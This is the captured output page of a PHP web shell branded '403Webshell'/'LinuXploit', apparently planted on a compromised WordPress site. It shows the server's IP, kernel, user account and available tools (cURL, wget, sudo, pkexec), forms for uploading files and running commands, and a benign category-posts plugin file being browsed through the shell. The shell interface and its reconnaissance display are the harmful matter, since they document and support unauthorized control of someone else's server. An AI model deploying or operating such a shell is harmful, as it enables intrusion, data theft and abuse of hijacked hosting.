403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.123
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/mommybites/wp-content/plugins/category-posts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/mommybites/wp-content/plugins/category-posts/class-virtual-widgets-repository.php
<?php
/**
 * Implementation of virtual widget repository.
 *
 * @package categoryposts.
 *
 * @since 4.7
 */

namespace categoryPosts;

// Don't call the file directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 *  Class that implement a simple repository for the virtual widgets representing
 *  actuall shortcode and widgets
 *
 *  @since 4.7
 */
class Virtual_Widgets_Repository {

	/**
	 * Collection of objects representing shortcodes.
	 *
	 * @var array
	 *
	 * @since 4.7
	 */
	private static $shortcodeCollection = array();

	/**
	 * Collection of objects representing widgets.
	 *
	 * @var array
	 *
	 * @since 4.7
	 */
	private static $widgetCollection = array();

	/**
	 *  Add a virtual widget representing a shortcode to the repository
	 *
	 *  @param string         $index  A name to identify the specific shortcode.
	 *  @param Virtual_Widget $widget The virtual widget for it.
	 *
	 *  @since 4.7
	 */
	public function addShortcode( $index, $widget ) {
		self::$shortcodeCollection[ $index ] = $widget;
	}

	/**
	 *  Get all the virtual widgets representing actual shortcodes
	 *
	 *  @return array
	 *
	 *  @since 4.7
	 */
	public function getShortcodes() {
		return self::$shortcodeCollection;
	}

	/**
	 *  Add a virtual widget representing awidget to the repository
	 *
	 *  @param string         $index A name to identify the specific widget.
	 *  @param Virtual_Widget $widget The virstual widget for it.
	 *
	 *  @since 4.7
	 */
	public function addWidget( $index, $widget ) {
		self::$widgetCollection[ $index ] = $widget;
	}

	/**
	 *  Get all the virtual widgets representing actual widgets
	 *
	 *  @return array
	 *
	 *  @since 4.7
	 */
	public function getWidgets() {
		return self::$widgetCollection;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit